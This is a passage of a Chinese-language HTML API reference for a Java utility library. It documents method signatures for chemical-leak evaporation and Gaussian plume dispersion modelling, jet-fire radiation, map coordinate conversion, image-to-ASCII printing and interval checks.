class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">public java.util.Map&lt;java.lang.String,java.math.BigDecimal&gt; yearMonth(int year,</span><br><span class="line">                                                                      java.lang.String pattern)</span><br><span class="line">根据年份构造Map</span><br><span class="line">传入年份,构建该年所有月份的Map</span><br><span class="line"></span><br><span class="line">参数:</span><br><span class="line">year - 年</span><br><span class="line">pattern - 格式化</span><br><span class="line">返回:</span><br><span class="line">Map</span><br><span class="line">#### yearMonth</span><br><span class="line">public java.util.Map&lt;java.lang.String,java.math.BigDecimal&gt; yearMonth(int year)</span><br><span class="line">根据年份构造Map</span><br><span class="line">传入年份,构建该年所有月份的Map</span><br><span class="line"></span><br><span class="line">参数:</span><br><span class="line">year - 年</span><br><span class="line">返回:</span><br><span class="line">Map</span><br></pre></td></tr></table></figure><h3 id="事故模拟-蒸发计算工具类-EvaporationUtil">事故模拟 蒸发计算工具类 EvaporationUtil</h3><h4 id="闪蒸蒸发速率-flash">闪蒸蒸发速率 flash</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">public java.lang.Double flash(double qm,</span><br><span class="line">                              double cp,</span><br><span class="line">                              double tt,</span><br><span class="line">                              double tb,</span><br><span class="line">                              double hv)</span><br><span class="line">闪蒸蒸发速率</span><br><span class="line">参数:</span><br><span class="line">qm - 物质泄漏速率 kg/s</span><br><span class="line">cp - 泄漏液体的定压热容 kJ/(kg.K)</span><br><span class="line">tt - 储存温度，单位为K</span><br><span class="line">tb - 泄漏液体的沸点，单位为K</span><br><span class="line">hv - 泄漏液体的蒸发热，单位为J/kg</span><br><span class="line">返回:</span><br><span class="line">热液体闪蒸蒸发速率，单位为kg/s</span><br></pre></td></tr></table></figure><h4 id="热量蒸发速率-heatOfEvaporation">热量蒸发速率 heatOfEvaporation</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">public java.lang.Double heatOfEvaporation(double a1,</span><br><span class="line">                                          double t0,</span><br><span class="line">                                          double tb,</span><br><span class="line">                                          double h,</span><br><span class="line">                                          double t)</span><br><span class="line">热量蒸发速率</span><br><span class="line">环境温度高于液体沸点时发生，如35摄氏度的环境温度下，沸点为20摄氏度的液体泄漏</span><br><span class="line"></span><br><span class="line">参数:</span><br><span class="line">a1 - 液池面积 m2</span><br><span class="line">t0 - 环境温度 K</span><br><span class="line">tb - 液体沸点 K</span><br><span class="line">h - 液体蒸发热 J/kg</span><br><span class="line">t - 蒸发时间 s</span><br><span class="line">返回:</span><br><span class="line">热量蒸发速率 kg/s</span><br></pre></td></tr></table></figure><h4 id="质量蒸发速率-qualityOfEvaporation">质量蒸发速率 qualityOfEvaporation</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">public java.lang.Double qualityOfEvaporation(double t0,</span><br><span class="line">                                             double u,</span><br><span class="line">                                             double r,</span><br><span class="line">                                             double m)</span><br><span class="line">质量蒸发速率</span><br><span class="line">参数:</span><br><span class="line">t0 - 环境温度 K</span><br><span class="line">u - 风速 m/s</span><br><span class="line">r - 液池半径 m</span><br><span class="line">m - 泄漏物质分子量</span><br><span class="line">返回:</span><br><span class="line">质量蒸发速率 kg/s</span><br></pre></td></tr></table></figure><h4 id="液池蒸发总量-totalEvaporation">液池蒸发总量 totalEvaporation</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line">public java.lang.Double totalEvaporation(java.lang.Double qm,</span><br><span class="line">                                         java.lang.Double cp,</span><br><span class="line">                                         java.lang.Double tt,</span><br><span class="line">                                         java.lang.Double tb,</span><br><span class="line">                                         java.lang.Double hv,</span><br><span class="line">                                         java.lang.Double a1,</span><br><span class="line">                                         java.lang.Double t0,</span><br><span class="line">                                         java.lang.Double h,</span><br><span class="line">                                         java.lang.Double t,</span><br><span class="line">                                         java.lang.Double u,</span><br><span class="line">                                         java.lang.Double r,</span><br><span class="line">                                         java.lang.Double m,</span><br><span class="line">                                         java.lang.Double t1,</span><br><span class="line">                                         java.lang.Double t2,</span><br><span class="line">                                         java.lang.Double t3)</span><br><span class="line">液池蒸发总量</span><br><span class="line">参数:</span><br><span class="line">qm - 物质泄漏速率 kg/s</span><br><span class="line">cp - 泄漏液体的定压热容 kJ/(kg.K)</span><br><span class="line">tt - 储存温度，单位为K</span><br><span class="line">tb - 泄漏液体的沸点，单位为K</span><br><span class="line">hv - 泄漏液体的蒸发热，单位为J/kg</span><br><span class="line">a1 - 液池面积 m2</span><br><span class="line">t0 - 环境温度 K</span><br><span class="line">h - 液体蒸发热 J/kg</span><br><span class="line">t - 蒸发时间 s</span><br><span class="line">u - 风速 m/s</span><br><span class="line">r - 液池半径 m</span><br><span class="line">m - 泄漏物质分子量</span><br><span class="line">t1 - 闪蒸蒸发时间 单位为s 为NUll时不计入总气云质量</span><br><span class="line">t2 - 热量蒸发时间，单位为s 为NUll时不计入总气云质量</span><br><span class="line">t3 - 从液体泄漏 到液体全部处理完毕的时间，单位为s 为NUll时不计入总气云质量</span><br><span class="line">返回:</span><br><span class="line">形成的气云质量 kg</span><br></pre></td></tr></table></figure><h4 id="仅出现过热液体闪蒸蒸发情况-onlyFlash">仅出现过热液体闪蒸蒸发情况 onlyFlash</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">public java.lang.Double onlyFlash(double qm,</span><br><span class="line">                                  double cp,</span><br><span class="line">                                  double tt,</span><br><span class="line">                                  double tb,</span><br><span class="line">                                  double hv,</span><br><span class="line">                                  double t1)</span><br><span class="line">仅出现过热液体闪蒸蒸发情况</span><br><span class="line">参数:</span><br><span class="line">qm - 物质泄漏速率 kg/s</span><br><span class="line">cp - 泄漏液体的定压热容 kJ/(kg.K)</span><br><span class="line">tt - 储存温度，单位为K</span><br><span class="line">tb - 泄漏液体的沸点，单位为K</span><br><span class="line">hv - 泄漏液体的蒸发热，单位为J/kg</span><br><span class="line">t1 - 闪蒸蒸发时间 单位为s</span><br><span class="line">返回:</span><br><span class="line">形成的气云质量 kg</span><br></pre></td></tr></table></figure><h4 id="仅出现热量增发的情况-onlyHeatOfEvaporation">仅出现热量增发的情况 onlyHeatOfEvaporation</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">public java.lang.Double onlyHeatOfEvaporation(double a1,</span><br><span class="line">                                              double t0,</span><br><span class="line">                                              double h,</span><br><span class="line">                                              double t,</span><br><span class="line">                                              double t2,</span><br><span class="line">                                              double tb)</span><br><span class="line">仅出现热量增发的情况</span><br><span class="line">参数:</span><br><span class="line">a1 - 液池面积 m2</span><br><span class="line">t0 - 环境温度 K</span><br><span class="line">h - 液体蒸发热 J/kg</span><br><span class="line">t - 蒸发时间 s</span><br><span class="line">t2 - 热量蒸发时间，单位为s</span><br><span class="line">tb - 泄漏液体的沸点，单位为K</span><br><span class="line">返回:</span><br><span class="line">形成的气云质量 kg</span><br></pre></td></tr></table></figure><h4 id="仅出现质量蒸发的情况-onlyQualityOfEvaporation">仅出现质量蒸发的情况 onlyQualityOfEvaporation</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">public java.lang.Double onlyQualityOfEvaporation(double t0,</span><br><span class="line">                                                 double u,</span><br><span class="line">                                                 double r,</span><br><span class="line">                                                 double m,</span><br><span class="line">                                                 double t3)</span><br><span class="line">仅出现质量蒸发的情况</span><br><span class="line">参数:</span><br><span class="line">t0 - 环境温度 K</span><br><span class="line">u - 风速 m/s</span><br><span class="line">r - 液池半径 m</span><br><span class="line">m - 泄漏物质分子量</span><br><span class="line">t3 - 从液体泄漏 到液体全部处理完毕的时间，单位为s</span><br><span class="line">返回:</span><br><span class="line">形成的气云质量 kg</span><br></pre></td></tr></table></figure><h3 id="高斯模型（高斯烟羽-高斯烟团）-GaussUtil">高斯模型（高斯烟羽 + 高斯烟团） GaussUtil</h3><h4 id="地面点源扩散-计算方式-groundPointSource">地面点源扩散 计算方式 groundPointSource</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">public double groundPointSource(double q,</span><br><span class="line">                                double u,</span><br><span class="line">                                double x,</span><br><span class="line">                                double y,</span><br><span class="line">                                double z,</span><br><span class="line">                                java.lang.Integer l)</span><br><span class="line">地面点源扩散 计算方式</span><br><span class="line">参数:</span><br><span class="line">q - 物料连续泄漏的质量流量，单位kg/s</span><br><span class="line">u - 平均风速m/s</span><br><span class="line">x - x距离</span><br><span class="line">y - y距离</span><br><span class="line">z - z距离</span><br><span class="line">l - 太阳辐射等级</span><br><span class="line">返回:</span><br><span class="line">空间上某点的污染物浓度 mg/m3</span><br></pre></td></tr></table></figure><h4 id="高架点源扩散模式计算-highPowerContinuousDiffusion">高架点源扩散模式计算 highPowerContinuousDiffusion</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">public double highPowerContinuousDiffusion(double q,</span><br><span class="line">                                           double u,</span><br><span class="line">                                           double h,</span><br><span class="line">                                           double x,</span><br><span class="line">                                           double y,</span><br><span class="line">                                           double z,</span><br><span class="line">                                           java.lang.Integer l)</span><br><span class="line">高架点源扩散模式计算</span><br><span class="line">参数:</span><br><span class="line">q - 物料连续泄漏的质量流量，单位kg/s</span><br><span class="line">u - 平均风速m/s</span><br><span class="line">h - 泄露源源高</span><br><span class="line">x - x距离</span><br><span class="line">y - y距离</span><br><span class="line">z - z距离</span><br><span class="line">l - 太阳辐射等级</span><br><span class="line">返回:</span><br><span class="line">空间上某点的污染物浓度 mg/m3</span><br></pre></td></tr></table></figure><h4 id="高斯烟羽不带入扩散系数-powerContinuousDiffusionWithoutSigma">高斯烟羽不带入扩散系数 powerContinuousDiffusionWithoutSigma</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">public double powerContinuousDiffusionWithoutSigma(double q,</span><br><span class="line">                                                   double u,</span><br><span class="line">                                                   double h,</span><br><span class="line">                                                   double x,</span><br><span class="line">                                                   double y,</span><br><span class="line">                                                   double z)</span><br><span class="line">高斯烟羽不带入扩散系数</span><br><span class="line">参数:</span><br><span class="line">q - 物料连续泄漏的质量流量，单位kg/s</span><br><span class="line">u - 平均风速m/s</span><br><span class="line">h - 泄露源源高 m</span><br><span class="line">x - x距离 m</span><br><span class="line">y - y距离 m</span><br><span class="line">z - z距离 m</span><br><span class="line">返回:</span><br><span class="line">空间上某点的污染物浓度 mg/m3</span><br></pre></td></tr></table></figure><h4 id="地面全部反射时的地面浓度-allGroundReflection">地面全部反射时的地面浓度 allGroundReflection</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">public double allGroundReflection(double q,</span><br><span class="line">                                  double u,</span><br><span class="line">                                  double h,</span><br><span class="line">                                  double x,</span><br><span class="line">                                  double y,</span><br><span class="line">                                  java.lang.Integer l)</span><br><span class="line">地面全部反射时的地面浓度</span><br><span class="line">参数:</span><br><span class="line">q - 物料连续泄漏的质量流量，单位kg/s</span><br><span class="line">u - 平均风速m/s</span><br><span class="line">h - 泄露源源高</span><br><span class="line">x - x距离</span><br><span class="line">y - y距离</span><br><span class="line">l - 太阳辐射等级</span><br><span class="line">返回:</span><br><span class="line">空间上某点的污染物浓度 mg/m3</span><br></pre></td></tr></table></figure><h4 id="高斯烟团模型-短时间内形成毒气云团，扩散时间远大于泄漏时间的扩散-不包含系数计算-smokeConcentration">高斯烟团模型(短时间内形成毒气云团，扩散时间远大于泄漏时间的扩散) 不包含系数计算 smokeConcentration</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">public double smokeConcentration(double q,</span><br><span class="line">                                 double u,</span><br><span class="line">                                 double t,</span><br><span class="line">                                 double x,</span><br><span class="line">                                 double y,</span><br><span class="line">                                 double z)</span><br><span class="line">高斯烟团模型(短时间内形成毒气云团，扩散时间远大于泄漏时间的扩散) 不包含系数计算</span><br><span class="line">参数:</span><br><span class="line">q - 瞬时排放的物料质量 kg</span><br><span class="line">u - 平均风速 m/s</span><br><span class="line">t - 扩散时间 s</span><br><span class="line">x - 空间点 x距离</span><br><span class="line">y - 空间点y距离</span><br><span class="line">z - 空间点 z距离</span><br><span class="line">返回:</span><br><span class="line">气体浓度 mg/m3</span><br></pre></td></tr></table></figure><h4 id="烟云抬升高度-liftingHeightOfSmokeCloud">烟云抬升高度 liftingHeightOfSmokeCloud</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">public double liftingHeightOfSmokeCloud(double vs,</span><br><span class="line">                                        double d,</span><br><span class="line">                                        double ws)</span><br><span class="line">烟云抬升高度</span><br><span class="line">参数:</span><br><span class="line">vs - 气云释放速度 单位m/s</span><br><span class="line">d - 泄露出口直径 单位m</span><br><span class="line">ws - 环境风速 单位m/s</span><br><span class="line">返回:</span><br><span class="line">烟云抬升高度 m</span><br></pre></td></tr></table></figure><h4 id="烟羽扩散-calculate">烟羽扩散 calculate</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">public java.lang.Double calculate(java.lang.Double q,</span><br><span class="line">                                  java.lang.Double x,</span><br><span class="line">                                  java.lang.Double y,</span><br><span class="line">                                  java.lang.Double z,</span><br><span class="line">                                  java.lang.Double h,</span><br><span class="line">                                  java.lang.Double u,</span><br><span class="line">                                  int t)</span><br><span class="line">烟羽扩散</span><br><span class="line">参数:</span><br><span class="line">q - 气载污染物源强，即释放率（mg/s）</span><br><span class="line">x - 下风向距离（m）</span><br><span class="line">y - 横截风向距离（m）</span><br><span class="line">z - 距水平的高度（m）</span><br><span class="line">h - 排口高度</span><br><span class="line">u - 平均风速m/s</span><br><span class="line">t - 时间s</span><br><span class="line">返回:</span><br><span class="line">等级</span><br></pre></td></tr></table></figure><h3 id="各坐标系之间经纬度互相换算-GPSConverterUtils">各坐标系之间经纬度互相换算 GPSConverterUtils</h3><h4 id="百度坐标系-BD-09-转WGS坐标-bd09toWgs84">百度坐标系(BD-09)转WGS坐标 bd09toWgs84</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">public static double[] bd09toWgs84(double lng,</span><br><span class="line">                                   double lat)</span><br><span class="line">百度坐标系(BD-09)转WGS坐标</span><br><span class="line">参数:</span><br><span class="line">lng - 百度坐标纬度</span><br><span class="line">lat - 百度坐标经度</span><br><span class="line">返回:</span><br><span class="line">WGS84坐标数组</span><br></pre></td></tr></table></figure><h4 id="WGS坐标转百度坐标系-BD-09-wgs84toBd09">WGS坐标转百度坐标系(BD-09) wgs84toBd09</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">public static double[] wgs84toBd09(double lng,</span><br><span class="line">                                   double lat)</span><br><span class="line">WGS坐标转百度坐标系(BD-09)</span><br><span class="line">参数:</span><br><span class="line">lng - WGS84坐标系的经度</span><br><span class="line">lat - WGS84坐标系的纬度</span><br><span class="line">返回:</span><br><span class="line">百度坐标数组</span><br></pre></td></tr></table></figure><h4 id="火星坐标系-GCJ-02-转百度坐标系-BD-09-gcj02toBd09">火星坐标系(GCJ-02)转百度坐标系(BD-09) gcj02toBd09</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">public static double[] gcj02toBd09(double lng,</span><br><span class="line">                                   double lat)</span><br><span class="line">火星坐标系(GCJ-02)转百度坐标系(BD-09)</span><br><span class="line">谷歌、高德——&lt;百度</span><br><span class="line"></span><br><span class="line">参数:</span><br><span class="line">lng - 火星坐标经度</span><br><span class="line">lat - 火星坐标纬度</span><br><span class="line">返回:</span><br><span class="line">百度坐标数组</span><br></pre></td></tr></table></figure><h4 id="百度坐标系-BD-09-转火星坐标系-GCJ-02-bd09toGcj02">百度坐标系(BD-09)转火星坐标系(GCJ-02) bd09toGcj02</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">public static double[] bd09toGcj02(double bdLon,</span><br><span class="line">                                   double bdLat)</span><br><span class="line">百度坐标系(BD-09)转火星坐标系(GCJ-02)</span><br><span class="line">百度——&lt;谷歌、高德</span><br><span class="line"></span><br><span class="line">参数:</span><br><span class="line">bdLon - 百度坐标纬度</span><br><span class="line">bdLat - 百度坐标经度</span><br><span class="line">返回:</span><br><span class="line">火星坐标数组</span><br></pre></td></tr></table></figure><h4 id="WGS84转GCJ02-火星坐标系-wgs84toGcj02">WGS84转GCJ02(火星坐标系) wgs84toGcj02</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">public static double[] wgs84toGcj02(double lng,</span><br><span class="line">                                    double lat)</span><br><span class="line">WGS84转GCJ02(火星坐标系)</span><br><span class="line">参数:</span><br><span class="line">lng - WGS84坐标系的经度</span><br><span class="line">lat - WGS84坐标系的纬度</span><br><span class="line">返回:</span><br><span class="line">火星坐标数组</span><br></pre></td></tr></table></figure><h4 id="GCJ02-火星坐标系-转GPS84-gcj02toWgs84">GCJ02(火星坐标系)转GPS84 gcj02toWgs84</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">public static double[] gcj02toWgs84(double lng,</span><br><span class="line">                                    double lat)</span><br><span class="line">GCJ02(火星坐标系)转GPS84</span><br><span class="line">参数:</span><br><span class="line">lng - 火星坐标系的经度</span><br><span class="line">lat - 火星坐标系纬度</span><br><span class="line">返回:</span><br><span class="line">WGS84坐标数组</span><br></pre></td></tr></table></figure><h4 id="纬度转换-transFormLat">纬度转换 transFormLat</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">public static double transFormLat(double lng,</span><br><span class="line">                                  double lat)</span><br><span class="line">纬度转换</span><br><span class="line">参数:</span><br><span class="line">lng - 经度</span><br><span class="line">lat - 纬度</span><br><span class="line">返回:</span><br><span class="line">纬度转换值</span><br></pre></td></tr></table></figure><h4 id="经度转换-transFormLng">经度转换 transFormLng</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">public static double transFormLng(double lng,</span><br><span class="line">                                  double lat)</span><br><span class="line">经度转换</span><br><span class="line">参数:</span><br><span class="line">lng - 经度</span><br><span class="line">lat - 纬度</span><br><span class="line">返回:</span><br><span class="line">经度转换值</span><br></pre></td></tr></table></figure><h4 id="判断是否在国内，不在国内不做偏移-outOfChina">判断是否在国内，不在国内不做偏移 outOfChina</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">public static boolean outOfChina(double lng,</span><br><span class="line">                                 double lat)</span><br><span class="line">判断是否在国内，不在国内不做偏移</span><br><span class="line">参数:</span><br><span class="line">lng - 经度</span><br><span class="line">lat - 纬度</span><br><span class="line">返回:</span><br><span class="line">true 国外 false 国内</span><br></pre></td></tr></table></figure><h3 id="水平方向喷射火模型-HorizontalJetFireUtil">水平方向喷射火模型 HorizontalJetFireUtil</h3><h4 id="计算热辐射通量-count">计算热辐射通量 count</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">public java.lang.Double count(double hc,</span><br><span class="line">                              double x,</span><br><span class="line">                              double m)</span><br><span class="line">计算热辐射通量</span><br><span class="line">参数:</span><br><span class="line">hc - 燃烧热 kJ/kg</span><br><span class="line">x - 距离 m</span><br><span class="line">m - 质量流速 kg/s</span><br><span class="line">返回:</span><br><span class="line">距离x处接收的热辐射通量 Kw/m2</span><br></pre></td></tr></table></figure><h3 id="图片转为ASCII码-ImageToAsciiUtil">图片转为ASCII码 ImageToAsciiUtil</h3><h4 id="将图片转为ASCII码并打印-printImage">将图片转为ASCII码并打印 printImage</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">public void printImage(java.awt.image.BufferedImage image)</span><br><span class="line">将图片转为ASCII码并打印</span><br><span class="line">参数:</span><br><span class="line">image - BufferedImage</span><br></pre></td></tr></table></figure><h4 id="缩略图片-makeSmallImage">缩略图片 makeSmallImage</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">public java.awt.image.BufferedImage makeSmallImage(java.lang.String srcImageName)</span><br><span class="line">缩略图片 BufferedImage bufferedImage = ImageToAsciiUtil.makeSmallImage(&quot;图片路径&quot;, 期望最大高度, 为防止图片扭曲宽度放大比例); ImageToAsciiUtil.printImage(bufferedImage);</span><br><span class="line">参数:</span><br><span class="line">srcImageName - 图片路径</span><br><span class="line">返回:</span><br><span class="line">BufferedImage</span><br></pre></td></tr></table></figure><h4 id="缩略图片-makeSmallImage-2">缩略图片 makeSmallImage</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">public java.awt.image.BufferedImage makeSmallImage(java.lang.String srcImageName,</span><br><span class="line">                                                   int dstMaxSize,</span><br><span class="line">                                                   int widthBlowRate)</span><br><span class="line">缩略图片 BufferedImage bufferedImage = ImageToAsciiUtil.makeSmallImage(&quot;图片路径&quot;, 期望最大高度默认25, 为防止图片扭曲宽度放大比例默认1); ImageToAsciiUtil.printImage(bufferedImage);</span><br><span class="line">参数:</span><br><span class="line">srcImageName - 图片路径</span><br><span class="line">dstMaxSize - 预计最大高度</span><br><span class="line">widthBlowRate - 宽度放大比例</span><br><span class="line">返回:</span><br><span class="line">BufferedImage</span><br></pre></td></tr></table></figure><h3 id="数学区间计算工具-IntervalUtil">数学区间计算工具 IntervalUtil</h3><h4 id="判断dataValue是否在interval区间范围内-isInTheInterval">判断dataValue是否在interval区间范围内 isInTheInterval</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">public static boolean 